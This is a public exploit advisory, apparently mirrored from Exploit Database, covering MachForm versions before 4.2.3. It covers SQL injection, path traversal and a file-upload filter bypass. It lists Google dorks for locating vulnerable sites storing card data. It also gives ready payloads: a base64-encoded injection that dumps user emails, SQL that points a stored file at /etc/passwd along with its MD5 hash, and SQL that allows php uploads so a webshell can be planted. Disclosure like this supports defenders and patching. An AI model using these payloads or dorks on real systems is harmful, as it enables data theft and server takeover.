MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass

Exploit Database
113 阅读

作者： Amine Taouirsa

日期： 2018-05-30
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/44804/

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Vendor: Appnitro

Product webpage: https://www.machform.com/

Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/

Fix: https://www.machform.com/blog-machform-423-security-release/

Author: Amine Taouirsa

Twitter: @metalamin

Google dork examples:

----------------------

"machform" inurl:"view.php"

"machform" inurl:"embed.php"

Summary:

---------

The form creation platform MachForm from Appnitro is subject to SQL

injections that lead to path traversal and arbitrary file upload.

The application is widely deployed and with some google dorks it’s possible

to find various webpages storing sensitive data as credit card numbers with

corresponding security codes. Also, the arbitrary file upload can let an

attacker get control of the server by uploading a WebShell.

[1] SQL injection (CVE-2018-6410):

-------------------------

[1.1] Description:

The software is subject to SQL injections in the ‘download.php’ file.

[1.2] Parameters and statement:

This SQLi can be found on the parameter ‘q’ which a base64 encoded value

for the following parameters:

$form_id = $params['form_id'];

$id= $params['id'];

$field_name = $params['el'];

$file_hash= $params['hash'];

So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based,

stacked queries and time-based blind SQL injections. This is due to the

following vulnerable statement:

$query = "select {$field_name} from <code>".MF_TABLE_PREFIX."form_{$form_id}

where id=?";

[1.3] POC

Proof of concept to get the first user mail:

http:// [URL] / [Machform_folder] /download.php?q=

ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy

MDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz

ZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io

UkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RF

Ul9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=

Which is the base64 encoding for:

el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT

MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT

0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP

BY x)a) ;&id=1&hash=1&form_id=1

[2] Path traversal (CVE-2018-6409):

-----------------------------------

[2.1] Descrition

download.php’ is used to serve stored files from the forms answers.

Modifying the name of the file to serve on the corresponding ap_form table

leads to a path traversal vulnerability.

[2.2] POC

First we need to change the name for the element on the form:

update ap_form_58009 set element_4="../../../../../../.

./../../../../../../../../../etc/passwd" where id=1;

Now in order to be able to download it, we need to access:

http:// [URL] / [Machform_folder] /download.php?q=

ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0

NTgmZm9ybV9pZD01ODAwOQo=

Which is the base64 encoding for;

el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009

Note that hash is the MD5 of the corresponding filename:

md5("../../../../../../../../../../../../../../../../etc/passwd") =

402ba0230d6f44a2de590ac11107a458

[3] Bypass file upload filter (CVE-2018-6411):

----------------------------------------------

When the form is set to filter a blacklist, it automatically add dangerous

extensions to the filters.

If the filter is set to a whitelist, the dangerous extensions can be

bypassed.

This can be done directly on the database via SQLi

update ap_form_elements set element_file_type_list="php",

element_file_block_or_allow="a" where form_id=58009 and element_id=4;

Once uploaded the file can be found and executed in the following URL:

http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]

The filename can be found in the database

SELECT element_4 FROM ap_form_58009 WHERE id=1;